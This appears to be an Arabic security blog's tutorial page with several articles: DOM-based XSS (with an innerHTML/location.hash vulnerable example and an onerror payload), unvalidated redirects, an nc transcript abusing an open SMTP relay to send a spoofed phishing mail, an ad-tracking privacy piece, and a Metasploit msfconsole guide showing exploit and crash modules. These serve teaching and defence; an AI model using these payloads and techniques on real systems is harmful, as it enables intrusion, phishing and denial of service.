RSSمحتويات التصنيف: "شروحات"

شرح ثغرات Dom-Based XSS بالتفصيل

Xss

ثغرات XSS او Cross-Site Scripting اصبحت واحدة من أشهر ثغرات تطبيقات الويب فهي تأتي في المرتبة الثالثة حسب تصنيف موقع OWASP لأشهر و أكثر 10 ثغرات انتشاراً في تطبيقات الويب لعام 2013 .

صحيح ان ثغرات الـ XSS لا تعد من الثغرات عالية الخطورة لأنها لا تؤثر بشكل مباشر على الموقع او الخادم و إنما تؤثر على جانب العميل الـ Client Side او المستخدم و تحتاج لإضافة القليل من الهندسة الاجتماعية حتى تصل إلى هجوم قوي من خلالها .

لكن هذا لا يمنع ان ثغرات XSS كانت سبباً أساسي في أختراق أكبر الشركات و المواقع العالمية كما حدث منذ أشهر مع المنتديات الخاصة بموقع ubuntu الشهير و تم سرقة معلومات قرابة الـ 2 مليون مستخدم عن طريق استغلال لثغرة XSS بالموقع كما ان ثغرات الـ Xss ايضا كانت سبباً رئيسي في اختراق موقع Apple للمطورين خلال نفس الفترة . فمن المؤكد أن هذا النوع من الثغرات قد يشكل خطورة أكبر بكثير من خطورة ثغرات الـ SQL Injection في حال قام الـهاكر باستغلالها بشكل ذكي و قوي .

موضوعنا اليوم سنتكلم فيه بشكل أساسي على نوع مختلف بعض الشئ من ثغرات الـ XSS و الذي يطلق عليه Dom-Based XSS و قد يكون الكثير ممن يقرؤون هذا المقال لم يتعرفوا إلى هذا النوع من ثغرات xss او يعرفوه اسماً فقط .

من المتعارف عند الجميع ان أشهر أنواع لثغرات XSS هي ما يطلق عليها الـ Reflected XSS و الـ Stored XSS .

و لكن يوجد ايضاً أنواع اخرى تقوم بنفس التأثير لثغرات XSS مثل الـ Flash XSS و Dom-Based XSS و الأخيرة هي التي سوف نقوم بالحديث عنها اليوم في هذة المقالة ان شاء اللًه .

ما هي فكرة ثغرات XSS و كيف تعمل؟

كما نعلم ثغرات XSS تكمن خطورتها في تعديل لمحتوى صفحات الموقع التي تظهر للمستخدم و ذلك عن طريق حقن اكواد HTML او Javascript , كانك تقوم بالضبط بالتعديل على ملفات الـ html و javascript الخاصة بالموقع من خلال احد برامح محرر صفحات الويب .فثغرات XSS تساعد المخترق على تعديل صفحات الموقع و عمل صفحات مزورة مع الاحتفاظ بنفس رابط الصفحة و الدومين , كما يستغلها لبعض لسرقة Sessions او الـ Cookies الخاصة بالمستخدمين و هو يعد اخطر استغلال لثغرات XSS و ذلك عن طريق استخدام داله جافا سكريبت التي تستطيع قراءة بينات الكوكيز مثل document.cookie و ايضاً يستخدم هاكرز أخرون ثغرات الـ XSS في اختراق صفحات الموقع في حال كانت الثغرة من نوع Stored Xss .

دعونا اولا نستعرض طريقة عمل XSS حتى يمكنا بعد ذلك فهم فكرة عمل ثغرات Dom Based Xss بسهولة , ببساطة ثغرات XSS تحدث عندما يقوم المستخدم بأرسل مدخل للصفحة و تقوم الصفحة بأخذ هذا المدخل من المستخدم وعرضه مباشرة كما هو في HTML عن طريق دوال البرمجة مثلا print و echo

مثال بسيط جداً على ذلك صفحة تطلب من المستخدم إدخال اسمه الشخصي

1

و يدخل اليها الاسم

Ahmed Aboul-Ela

بعد ذلك تقوم بعرض الجملة “Welcome Ahmed Aboul-ELa

2

و اذا استعرضنا html code يكون كالتالي

3

جميل , لكن ماذا سوف يحدث اذا أدخلت للصفحة اسماً مصحوب بـtags خاصة بالـhtml مثلا هذا الأسم

<h1> Ahmed Aboul-ELA </h1>

ببساطة سوف تكون النتيجة كالتالي

4

و اذا قمنا باستعراض html code هذة المرة سوف يصبح كالتالي

5

اذاً الأن تتضح لدينا المشكلة بوضوح , فعند كتابة الاسم مصحوباً بـ الـ tags الخاصة بالـhtml المتصفح هنا لم يفهم انه هذا هو مجرد اسم الشخص و لكنه قام بترجمة اكواد html في الاسم و قام بعرضة بالشكل المطلوب و عندها تغير شكل الاسم في الصفحة و أصبح بخط أكبر . اذاً فان المشكلة كلها كانت في ان الصفحة أخذت الاسم من المستخدم و أظهرته مباشرة دون اي تحقق من ان الاسم قد يحتوى على اكواد خاصة بالـ HTML .

دعونا الأن نحدد هنا من المسؤول عن أخذ الاسم من المستخدم في الصفحة و من المسؤول عن إظهار الأسم في html , في هذة الحالة فان المسؤول عن أخذ الاسم هي داله $_POST في لغة برمجة php و المسؤول عن إظهار الاسم في html هي داله echo . الأن هذة المقدمة كانت ضرورية لنا حتى نستطيع ان نستوعب فكرة عمل dom-based xss في الجزء التالي .

ما هي ثغرات Dom Based Xss و كيف تعمل ؟

ببساطة ثغرات XSS لا تختلف كثيراً في مفهموها عن ثغرات refelected xss و لكن الفرق بينها و بين ثغرات XSS في الأسلوب و الطريقة , فكما ذكرنا في ثغرات xss التقليدية فان من يقوم باستقبال المدخل من المستخدم هي لغة PHP عن طريق داله $_POST او $_GET التى تستطيع قرائه المدخلات من خلال form في صفحة ما او من خلال الرابط . لكن في حاله Dom-Based فأن من يقوم بأخذ المدخل من المستخدم هي دوال الـ javascript و من يقوم بطباعة المدخل ايضاً هي دوال الـ javascript دون الحاجة إلى اي لغات برمجة أخرى او حتى web server لترجمة و تشغيل الملفات .

سوف نطلق على دوال التي تقوم بأخذ المدخل من المستخدم هي دوال الـ sources و ان الدوال التي تقوم بطباعة هذا المدخل و إظهاره في html هي sinks . و الأن نبدأ بشرح بعض دوال sources و sinks و نرى كيف يمكن ان تؤدي بعد ذلك إلى ثغرات XSS .

ما هي دوال Sources ؟

دوال الـsources هي دوال في لغة javascript و التي من خلالها يمكن ان تقوم بإرسال مدخل إلى الصفحة في هذه الحالة غالبا يكون المدخل من المستخدم مرسل من خلال رابط الصفحة او url مثلا لدينا الرابط التالي :

https://site.com/home/file.html?name=ahmed#Securtiy4arabs

فمن الممكن من خلال هذة الدوال ان تقوم بقراءة رابط الصفحة بالكامل او فقط مسار الصفحة home/file.html/ او قيمة الاسم المدخل ahmed او الهاش تاج security4arabs كأنك بالضبط تقوم عمل تحليل الرابط و تقسيمه إلى إجزاء , جزء هو مسار الصفحة و اسم ملف الصفحة و جزء هي المتغيرات او parameters المرسلة إلى الصفحة

و يمكن عمل ذلك من خلال javascript ببساطة عن طريق الدوال التالية :

دوال تقوم بقرائه رابط الصفحة بالكامل

  • document.URL
  • document.documentURI
  • document.URLUnencoded
  • document.baseURI
  • location
  • location.href

مثال على ذلك اقوم بكتابة صفحة تحتوى على كود الجافا سكريبت التالي :

<script>
alert(location.href);
</script>

و بعد ذلك اقوم بتشغيل الصفحة و تكون النتيجة كالتالي :
dombased_xss1

نلاحظ ان الصفحة قامت باظهار msg box يحتوى على رابط الصفحة التي قمت بتشغيلها كما قمنا بكتابة في ملف html , و يكون نفس الحال مع باقي الدوال التي قمنا بذكرها , سوف تظهر رابط الصفحة بالكامل , الأن نتطرق إلى داله اخرى تقوم بقرائه اسم الصفحة فقط دون المدخلات إليها او اسم domain .

دوال تقوم بقرائه اسم الصفحة و مسارها

location.pathname

مع استخدام نفس كود الصفحة السابق و استبدال فقط اسم الدالة location.href باسم الدالة يصبح لدينا النتيجة التالية

dombased_xss2

الفكرة بسيطة أليست كذلك ؟ الأن نستكمل ذكر بعض الدوال الأخرى و التي تستطيع قرائه جزء من رابط الصفحة كالدوال السابقة .

دوال تقوم بقرائه المدخلات او parameters فقط المرسلة إلى الصفحة

  • location.search

مثال على ذلك قمت بتشغيل الصفحة بهذة الدالة و ارسلت اليها بعض المدخلات مثلا

https://site.com/page.html?name=ahmed

تكون النتيجة كالتالي :

dombased_xss3

و اخيرا نقوم بذكر دالة تستخدم كثير في مواقع و هي داله تقوم بقرائة الـ hashtag # في الرابط

دوال تقوم بقرائه HashTag

  • location.hash

نقوم بتشغيل الصفحة مرة اخرى بهذة الدالة و نرى النتيجة

dombased_xss4

قمنا فقط بفتح رابط الصفحة مع اضافة #Ahmed Aboul-Ela في نهاية الرابط و قامت الصفحة بأظهار هذا الجزء فقط من الرابط الأن تعرفنا الى جميع دوال sources الأن ننطلق إلى الدوال التي تستطيع ان تظهر هذة sources في مخرج الصفحة

ما هي دوال Sinks ؟

دوال sinks ببساطة كما ذكرنا هي المسؤلة عن إظهار و كتابة القيمة المرسلة من خلال داله من دوال sources بالظبط كداله print في لغات البرمجة

دوال الـsinks ليست صعبة و سوف اقوم بذكر اهمها

  • داله document.write و doucment.writeln

هي داله المكافئة لدالة print في لغات البرمجة فتقوم مباشرة بطباعة الكلام داخل كود HTML

مثال على ذلك صفحة تحتوى على كود HTML التالي

<script>
document.write(‘hello world’) ;
</script>

ستكون النتيجة لدينا كما في الصورة

dombased_xss5

  • داله anyElement.innerHTML

هذه الدالة ببساطة تقوم بقراءة او كتابة كود بداخل Tag معين في الصفحة

مثلا document.body.innerHTML سوف تقوم بقرائة محتوى <body> </body> بالكامل

و اذا قمت بعمل document.body.innerHTML = ‘ahmed’ سوف يقوم بعمل استبدال كامل لمحتوى تاج body و كتابة فيه الكلمة Ahmed

مثال على ذلك كود الصفحة التالي

<html>
<body>
Just a text in body tag
<script>
document.body.innerHTML = ‘www.security4arabs.com’;
</script>
</body>
</html>

عند تشغيل الصفحة ستقوم الـJavaScript بتغير محتوى الصفحة الأصلي
و المكتوب فيه Just a text in body tag بـالكلمة www.security4arabs.com

dombased_xss6

كما نلاحظ لم تظهر الجملة just a text in body tag الأن تعرفنا إلى اهم دوال html sinks و التي تستطيع كتابة كلام في الصفحة و تعرفنا الى دوال Sources التي تستطيع ان ترسل مدخل إلى الصفحة من خلال الرابط

الأن نتطرق إلى الخطوة الأخيرة و هي كيفية حدوث ثغرات dom based xss من خلال هذة الدوال

كيف تحدث ثغرات Dom-Based Xss باستخدام دوال Sources و Sinks

كما ذكرنا في السابق ان xss تحدث عندما يرسل المستخدم للصفحة مدخل و تقوم الصفحة بأخذ المدخل و عرضه مباشرة داخل الصفحة
و نحن الأن تعرفنا كيف من الممكن ان تقوم بقراءة جزء من رابط الصفحة كمدخل و تعرفنا كيف يمكن ان نقوم بكتابة كلام من خلال javascript بداخل الصفحة

اذاً الأن يتحقق لدنيا طرفي المعادلة التي تقوم بإحداث ثغرات XSS , نرى في الجزء التالي كيف يمكن ان تقوم بتنفيذ ثغرة XSS فقط من خلال Javascript

لن اسرد المزيد من الكلام النظري و دعونا ننتقل مباشرة إلى كود الصفحة التالي و نرى ماذا تفعل

<html>
<body>
<script>
document.body.innerHTML = location.hash;
</script>
</body>

الأن فقط بالنظر لكود الصفحة يمكن فهم ماذا تفعل

ببساطة الصفحة تقوم بكتابة location.hash و هو الهاش تاج # الذي يأتي في نهاية رابط الصفحة بداخل <body> </body>

نفتح الصفحة الأن من خلال المتصفح و نرسل اليها اي كلام بعد # لنرى اذا كان هذا الكلام صحيح ام لا

dombased_xss7

جميل لقد قامت الصفحة بطباعة الـhash tag كما كتبناه و عند تغير كلمة Test سوف تتغير النتيجة في الصفحة

طيب الأن ماذا سيحدث اذا ارسلنا كلمه test مصحوبة باكواد html او javascript ؟

مثل سوف ارسل للصفحة Xss Payload كالنالي :

<img src=x onerror=alert(1337)>

دعونا نرى النتيجة 🙂

dombased_xss8

هل لاحظت ما حدث ؟ الأن اتضحت لدنيا ثغرة xss بوضوح و تم تشغيل كود alert لـ 1337 🙂 هذا كان فقط مثال بسيط يوضح لدينا فكرة عمل ثغرات Dom-Based Xss

قد يسألني احد الأن هل تعتقد ان مثل هذة الثغرات قد تكون موجودة في كثير من المواقع !؟

الأجابة بالطبع نعم فثغرات Dom Based Xss ظهرت في اكبر المواقع العالمية مثل google , microsoft , yahoo , Adobe و غيرهم الكثير

و هذا مثال على احدى الثغرات الذي قمت باكتشافها بنفسي و ابلغت عنها في شركة Redhat

و الثغرة كانت في صفحة التسجيل الرئيسية لإنشاء الحسابات لموقع redhat.com

redhat

كيف يمكن إكتشاف ثغرات Dom Based Xss ؟

إكتشاف ثغرات Dom-Based Xss هي عملية ليست سهله لأنها تحتاج إلى فحص و تدقيق في اكواد Javascript و اغلب المواقع الأن تستخدم الكثير من اكواد Javascript قد يصل الكود فيها إلى الاف من الأسطر و سيصبح من الصعب ان تقوم بعمل ذلك و فحص هذة الأكواد بشكل يدوي

لكن اصبح هناك ادوات تساعد على اكتشاف مثل هذة الثغرات و من اشهر و اقوى هذة الأدوات هي اداة Dominitor و لكنها ليست مجانية للأسف والأداة هي عبارة عن متصفح firefox معدل يستطيع بتبع الـ Dom في الصفحات و يمكنه اكتشاف sinks و sources بمجرد زيارة الصفحة من خلال المتصفح

واليكم الفيديو التالي الذي يوضح فيه كيف استطاع مبرمج الأداة اكتشاف ثغرة Dom Based Xss في Google Plus Button

فيديو اخر لإكتشاف ثغرة اخرى في موقع google

و إلى هنا نكون قد غطينا اهم النقاط الأساسية في موضوعنا اليوم و اتمنى ان يكون الشرح كان واضحاً و سهلأً 🙂

المراجع

شرح ثغرات Unvalidated Redirects وتطبيقها علي موقع Kaspersky

Kaspersky from Unvalidated redirection to Malware spreading

قبل أن أبدأ بشرح ثغرات ال Unvalidated Redirects

دعونا نعطي مثال بسيط حتي نفهم فكرة ال  (التحويل)Redirection

المستخدم تلقي رسالة علي بريده الإلكتروني بالمحتوي التالي:

عزيزي المستخدم .. يمكنك زيارة المدونة الخاصة بموقعنا من خلال الرابط التالي:

http://www.goodsite.com/link.php?url=http://blog.goodsite.com

إذا عندما يقوم المستخدم بالضغط علي الرابط بالإعلي فإنه سيتم توجيهة إلي http://blog.goodsite.com

إذا كيف يمكن إستغلال الرابط أعلاه؟

الأمر بسيط جدا .. حيث سيقوم المهاجم/المخترق بإستبدال الرابط الذي سيتم تحويل المستخدم إليه برابط آخر تابع له حتي يتم تحويل المستخدم إلي موقع المهاجم.

مثال:

عزيزي المستخدم .. يمكنك زيارة المدونة الخاصة بموقعنا من خلال الرابط التالي:

http://www.goodsite.com/link.php?url=http://blog.attacker.com

إذا عندما يقوم المستخدم بالضغط علي الرابط بالإعلي فإنه سيتم توجيهة إليhttp://blog.attacker.com

ولكن كما تري فقد تم تحويل المستخدم من خلال موقع goodsite.com والذي يفترض به ان يكون موقع موثوق لدي المستخدمين.

ما هي الخطورة التي ستقع علي المستخدم من خلال هذا النوع من الثغرات؟

1- تحويل المستخدم إلي صفحات تسجيل دخول مزورة شبيهه تماما لنفس صفحة تسجيل الدخول الخاصة بالموقع الأصلي وربما يكون إسم النطاق(Domain name)  أيضا شبيه لنفس إسم النطاق الخاص بالموقع الأصلي وبالتالي سرقة بيانات تسجيل الدخول الخاصة بالمستخدم.
مثال: بدلا من أن يتم تحويلك لموقع الفيس بوك www.facebook.com يتم تحويلك لموقع www.faecbook.com   هل لاحظت الفارق؟

2- تنزيل ملفات خبيثة (Trojans) علي أجهزة المستخدمين .. حيث يمكن للمهاجم تحويل المستخدم علي صفحه تستغل ثغرة في البرمجيات المنصبة علي جهاز المستخدم .. برمجيات مثل Java, Flash Player, Adobe Reader وغيرها

إذا ما السبب في حدوث تلك الثغرة؟ وكيف للمبرمج أن يحمي نفسه منها؟

الخطأ ان المبرمج لا يستخدم أي نوع من أنواع التحقق(validation) حتي يتأكد من الرابط الذي سيتم تحويل المستخدم إليه!

بعض طرق الحماية من تلك الثغرة:

1- Security Tokens

ما هي ال Security tokens

هي أرقام يتم تكوينها بنوع ما من التشفير(علي حسب المبرمج) وكمثال فهي تكون تجميعه من رابط الموقع + التوقيت الحالي + Salt

مثال:

“TRIffZRIE_yke-3Z1pxFaHaDC5FOPEXEGx6LpRZdjW”

فيصبح الرابط بالشكل التالي:

http://www.goodsite.com/link.php?url=http://blog.goodsite.com&token=TRIffZRIE_yke-3Z1pxFaHaDC5FOPEXEGx6LpRZdjW

اذا وظيفة الToken في هذه الحالة هي التأكد من أن الرابط الذي سيتم تحويل المستخدم إليه هو رابط موثوق منه ومسجل في قاعدة بيانات الموقع ولم يتم التلاعب به لان كل رابط يكون له Security Token واحد فقط.

2- Black & White List

حيث يقوم المبرمج بإنشاء قائمة من المواقع الموثوق بها والتي يتم تحويل المستخدمين إليها وما عدا تلك المواقع فلا يتم تحويل المستخدم الي أي شئ اخر بل يظهر صفحة خطا في حالة تم التلاعب بالموقع الذي يتم تحويل المستخدم إليه.

نأتي هنا لمثال عملي علي موقع شركة Kaspersky عملاق شركات إنتاج برمجيات الأمن المعلوماتي .. حيث كان الموقع مصاب بثغرة من هذا النوع الذي نتحدث عنه اليوم

وفي الفيديو التالي نجد انه تم إستغلال الثغرة بطريقة المحاكاة لمحاكاة إستغلال الثغرة من قبل الهاكرز واستخدامها في نشر الملفات الخبيثة (Trojans) مستغلين إسم وثقة Kaspersky لدي المستخدمين.

تخيل معي عزيزي القارئ  رابط يأتيك من شركة كاسبرسكي(وهي مصدر موثوق لا محاله) ويطلب منك تحميل ملف! أو صفحه يتم تحويلك إليها من موقع كاسبركي وتطلب منك بيانات معينه او تعرض عليك تنزيل آخر إصدار من برنامج كاسبرسكي المدفوع وبشكل مجاني!

“أكثر المصادر ثقة لك .. قد يكون هو عدوك الأسوء!”

الفيديو للمزيد من التفاصيل:

الثغرة في الفيديو تم إكتشافها من قبل كاتب الموضوع وتم إبلاغها لشركة كاسبرسكي فور إكتشافها وهي مرقعه في الوقت الحالي.

فحص خادم الـSMTP و خطورة فتح الـ Relay

نعلم جميعا أنه من أهم مراحل الاختراق و من أكثرها فائدة هي مرحلة الـ Service Enumeration  و التي قد تصل بنا من مرحلة جمع معلومات إلى مرحلة اختراق أسهل و أكثر فعالية. في هذا الموضوع سأعطي مثال بسيط عن خادم بريد(Mail Server) يسمح لخاصية الـ Relay و التي -باختصار- تسمح لأجهزة أخرى أن تتصل بخادم البريد على المنفذ 25 لإرسال بريد عن طريقه. هذه المشكلة لا تعتبر ثغرة نظام أو تطبيق , بل عيب في إعداد الـ Mail Server  من قبل مدير النظام.

كل ما علينا هو الاتصال بالمنفذ 25/tcp و من ثم تنفيذ الأوامر الأساسية التي يستخدمها بروتوكول الـSMTP  في إرسال بريد.

 

[HACKER@machine ~]$ nc -nv Mail-ServerIP 25

Connection to Mail-ServerIP 25 port [tcp/*] succeeded!
220 mail1.domain.com ESMTP Sendmail X.xx.y/X.xx.y; Sun, 25 Mar 2012 11:03:27 +0300

EHLO google.com

250-mail1.domain.com Hello Hacker-PubIP.rev.home.ne.jp [Hacker-PubIP], pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-AUTH DIGEST-MD5 CRAM-MD5
250-DELIVERBY
250 HELP

MAIL FROM: [email protected]

250 2.1.0 [email protected]… Sender ok

RCPT TO: [email protected]

250 2.1.5 [email protected]… Recipient ok

DATA

354 Enter mail, end with “.” on a line by itself


Hi please  ,,
please find my Pic on
http://badSite.com/profile.html

Thanks
.

250 2.0.0 q2P83R4D009362 Message accepted for delivery

QUIT

221 2.0.0 mail1.domain.com closing connection

نفذنا أوامر بسيطة جدا لكن هناك الكثير لتفعله(اترك الباقي لكم), لتتعرف على المزيد من أوامر البروتوكول SMTP

و الرسالة ستصل إلى  بريد الضحية..

للحماية من هذا النوع من الهجمات , يجب أت تقفل أو تحدد الـ Relay في خادم البريد و من الجدار الناري.

كيف يتعقب جوجل مستخدميه

لابد أنّك لاحظت خلال تصفحك لبعض مواقع الانترنت أن هناك إعلانات تقوم هذا المواقع بعرضها متعلقة بموضوع بحثت عنه في الانترنت. هذه المقالة سوف تشرح لك ما الذي يجري في الخلفية حتى تقوم المواقع بطرح هكذا اعلانات.

أحمد طالب جامعي متخصص في علم الحاسوب، ويريد ان يطوّر من مهاراته. قام باستخدام جوجل بالبحث عن فيديوهات تعليمية من انتاج شركة TrainSignal

نتائج البحث في جوجل عن Trainsignal

الكلمات المفتاحية التي استخدمها احمد يتمّ ارسالها الى موقع TrainSignal  مرفقاً معها معلومات حول الحاسوب والمتصفح…إلخ. هذه المعلومات يمكن أن تقوم بتحديد الشخص (احمد في هذا المثال). يمكن القراءة حول هذا الموضوع في هذا موضوع الدكتور علي الشمري هل تعتقد بإن إعدادات متصفحك نادر نوعه أو فريد من نوعه؟

نسب زوّار الموقع

أحمد يقوم بزيارة موقع آخر، كموقع يوتيوب فتظهر له إعلانات حول منتجات شركة TrainSignal

إعلانات لمنتجات TrainSignal

قد يقول قائل وماذا يعني ذلك؟ الموقع الذي زرته موقع عام وموقع عشوائي. وهذا صحيح، ولكن الاعلان يقوم به طرف ثالث. هذا الطرف الثالث يقوم ببناء ملف حولك. كجنسك، عمرك، موقعك، الأشياء التي تحبها..إلخ. ولهذا ترى هذه الاعلانات ترافقك اثناء تصفحك.

جميل يقول أحمد، ولكن ما المقلق في أن يقوم طرف ثالث بعمل ملف عني؟ هذا الملف يتمّ بيعه سواء للشركات التجارية أو البنوك أو شركات البطاقات الائتمانية. وقد يتمّ طلبه من قبل أطراف امنية أو حكومية. لهذا من الأفضل استخدام محركات بحث و اضافات تقوم بحماية خصوصية المستخدم. وهذا ما سوف نقوم بتغطيته إن شاء الله في مقال قادم.

هذا المقال مبني على المادة الموجودة هنا

 

استخدام بيئة العمل Metasploit عن طريق Msfconsole

مقدمة

يتعبر Msfconsole هو الاشهر والاكثر استخدام في MSF. وهو يسمح با الوصل الوهمي الى كافة الخيارات المتوفرة في MSF. وعند استخدامك Msfconsole في البداية سوف تجد صعبوه في التعامل، لكن مع تعلم (syntax)تنفيذ الاومر سوف تقدر قوة هذة الواجهه.

فوائد msfconsole :

يدعم طريق الوصول الى معظم الخصائص المتوفرة في MSF.
يعتبر اكثر والواجهات استقراراً في الاستخدام.
يدعم التكملة التلقائية لتنفيذ الاوامر.
أمكانية تنفيذ يعض الاوامر الاضافية مثل (ping… وغيرها).
تشغيل (msfconsole):
بمكانك تشغيل msfconsole بكل سهوله بختيارة من القائمه في الباك تراك او بتنفيذ الامر في shell “./msfconsole” وبامكانك تمرير متغير “-h” لمشاهدة متغيرات خيارات الاستخدام.

 

المساعدة help:

قم بادخال الامر “help ” او “؟” وسوف تقوم بعرض العديد من الاوامر با الاضافة الى وصف لما تستخدم هذه الاوامر.

التكملة التلقائية :
صمم msfconsole ليكون سريع في الاستخدام واحد الخصائص التي تساعد في هذا الغرض هي التكلمة التلقائية(tab completion). مع وجود العديد من موديلز(modules)، يصعب عليك تذكراسم او مسار المديول(module) الذي تريد استخدامه.
وكما هو العادة في العديد من shells تقوم با الضغط على “tab” والذي سوف يقوم بعرض العديد من الخيارات او سوف يكمل تلقائياً اذا كان خيار واحد فقط .

use exploit/windows/dce
use .*netapi.*
set LHOST
set TARGET
set PAYLOAD windows/shell/
exp
show

أمر العودة الى الخلف (back):

عندما تنتهي من العمل مع موديل (module) معين او انك قد اخترت موديل(module) بالخطاء، في هذه الحالة تريد العودية الى الحالة السابقة لك، قم بادخال الامر “back” لكي تعودي الى ماقبل اختيارك.
msf auxiliary(ms09_001_write) > back
msf >

 

أمر الفحص (check) :

­­يقوم بفحص نظام الهدف هل هو مصاب با الاستغلال ام لا، قبل تنفيذ الاستغلال. وهذا الامر لايدعم العديد من الاستغلالات.
msf exploit(ms04_045_wins) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.114 yes The target address
RPORT 42 yes The target port
Exploit target:
Id Name
-- ----
0 Windows 2000 English
msf exploit(ms04_045_wins) > check
[-] Check failed: The connection was refused by the remote host
(192.168.1.114:42)

 

أمر الاتصال (connect):

هذا الامر يقوم بعمل شبية بعمل netcat وهو مبني ضمن msfconsole ويدعم SSL، proxies ،pivoting و ارسال الملفات. بتنفيذ الامر “connect” مع ايبي ادرس (IP Address ) و منفذ(Port)، وبمكانك الاتصال با الجهاز البعيد من خلال msfconsole مثل ماهو netcat او telnet.
msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)

DD-WRT login:

وبتمرير المتغير “-s” في الاتصال سوف يكون الاتصال عبر SSL.
msf > connect -s www.metasploit.com 443
[*] Connected to www.metasploit.com:443
GET / HTTP/1.0
HTTP/1.1 302 Found
Date: Sat, 25 Jul 2009 05:03:42 GMT
Server: Apache/2.2.11
Location: http://www.metasploit.org/

 

أمر ((exploit مقابل (run) :

عندما يتم تنفيذ اي إستغلال يكون بتنفيذ امر “exploit”، بينما عندما تستخدم auxiliary module يكون الانسب بتنفيذها من خلال الامر “run”. وايضا يمكنك استخدام امر “exploit”.
msf auxiliary(ms09_001_write) > run
Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue
datalenlow=55535 dataoffset=65535 fillersize=72
rescue
datalenlow=45535 dataoffset=65535 fillersize=72
rescue
datalenlow=35535 dataoffset=65535 fillersize=72
rescue
...بقية النتائج...

 

أمر (irb) :

بتنفيذ هذا الامر تقوم با الدخول على سكربت لغة الروبي وتستطيع تنفيذ اوامر الروبي مباشرة من msfconsole، وهذه الميزة مفيدة جداً حيث تساعدك على فهم Framework.
msf > irb
[*] Starting IRB shell...
>> puts "Hello, Fayez!"
Hello, Fayez!
>> Framework::Version
=> "3.7.0-release"

أمر (jobs) :

يقوم بعرض وإدارة المديول(modules) التي تشتغل في الخلفية(Background). وبتنفيذ امر “jobs” يكون بمكانك عرض وإنها
هذه الاعمل(jobs).

msf exploit(ms08_067_netapi) > jobs -h
Usage: jobs [options]

Active job manipulation and interaction.

OPTIONS:

.-K Terminate all running jobs
. -h Help banner
-i Lists detailed information about a running job.
-k Terminate the specified job name.
-l List all running jobs.
-v Print more detailed info. Use with -i and –l.

 

أمر (load/unload):

بتنفيذ أمر لود “load” متبوع بـاسم إضافة(plugin) من الاضافات التي تكون متواجدة ضمن مجلد (plugin) في metasploit. وتمرر المتغيرات با الشكل التالي ” key=val” داخل وامر الشل.
msf > load
Usage: load [var=val var=val ...]
Load a plugin from the supplied path. The optional
var=val options are custom parameters that can be
passed to plugins.
msf >; load pcap_log
[*] Successfully loaded plugin: pcap_log

بلمقابل، امر “unload” يقوم بازالة ماتم تحميلة في الامر السابق.
msf >; unload pcap_log
Unloading plugin pcap_log...unloaded.

 

أمر (loadpath) :

أذا كان لديك بعض payloads، encoders او استغلال لثغرة يوم الصفر بمكانك تحديد المسار للمديول(module) الخاص بك. حيث ان هذا الامر يستخدم لإضافة مسار لموديلز(modules) طرف ثالث.
msf >; loadpath /home/secret/modules
Loaded 0 modules.

 

أمر (resource) :

بعض انواع الهجوم مثل Karmetasploit تستخدم لتنفيذ عدد من الاوامر المرتبة بشكل متسلسل داخل ملف دفعي(batch file) يتم تنفيذه من خلال msfconsole بتنفيذ امر “resource” متبوع باسم الملف.
msf > resource karma.rc
resource> load db_sqlite3
[-]
[-] The functionality previously provided by this plugin has been
[-] integrated into the core command set. Use the new 'db_driver'
[-] command to use a database driver other than sqlite3 (which
[-] is now the default). All of the old commands are the same.
[-]
[-] Failed to load plugin from
/pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin
resource> db_create /root/karma.db
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
…باقي النتائج…

وهذه الملفات الدفعية(batch files) تساعد في تسريع الاختبار(testing) والتطوير(development) ، با الاضافة الى انه يسمح للمستخدم بتنفيذ العديد من المهام بشكل اتوماتيكي او اّلي، وباستطاعتك تنفيذ الملف في عملية بداء التشغيل msfconsole بتمرير متغير ‘-r’. وفي المثالي التالي سوف نقوم بنشاء ملف يظهر اصدار metasploit في بداء التشغيل

 

أمر (route) :

يسمح هذا الامر بإعادة توجية السوكيت(sockets) من خلال session او comm. ولكي يضيف امر إعادة التوجية تقوم بتمرير السب نت (subnet) وقناع الشبكة (network mask) متبوع برقم session او comm. لاحظ المثال التالي.
msf exploit(ms08_067_netapi) > route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]
Route traffic destined to a given subnet through a supplied session.
The default comm is Local.
msf exploit(ms08_067_netapi) > route add 192.168.1.0 255.255.255.0 3
msf exploit(ms08_067_netapi) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
192.168.1.0 255.255.255.0 Session 3

 

أمر (info) :

سوف يقوم بتزويدك بمعلومات تفصيلية عن موديل(module) معين ويقوم بعرض كافة الخيارات و الاهداف المصابة ومعلومات اخرئ.
و امر ‘info’ سوف يقوم بتزويدك با المعلومات التالية :
معلومات عن الكاتب و الرخصة.
مراجع الثغرة مثل (CVE,BID.. الخ).
اي من payload التي تشتغل فقط مع هذا Module.
msf > info dos/windows/smb/ms09_001_write
Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset
Version: 6890
License: Metasploit Framework License (BSD)
Provided by:
j.v.vallejo

أمر (set/unset) :

يسمح للمستخدم بضبط إعدادات وخيارات بيئة العمل و المتغيرات للمويل(module) الذي تعمل علية.
msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf auxiliary(ms09_001_write) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.1 yes The target address
RPORT 445 yes Set the SMB service port
في الايام الاخير تم اضافة ميزة جديدة في بيئة عمل metasploit و هي أستخدام مشفرات(encoders) وقت التشغيل (run time) وهذه تكون مفيدة في تطوير الاستغلال عندما لا تكون متاكد اي نوع من الباي لود(payloads) سوف يشتغل مع الاستغلال.
msf exploit(ms08_067_netapi) > show encoders
Compatible encoders
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
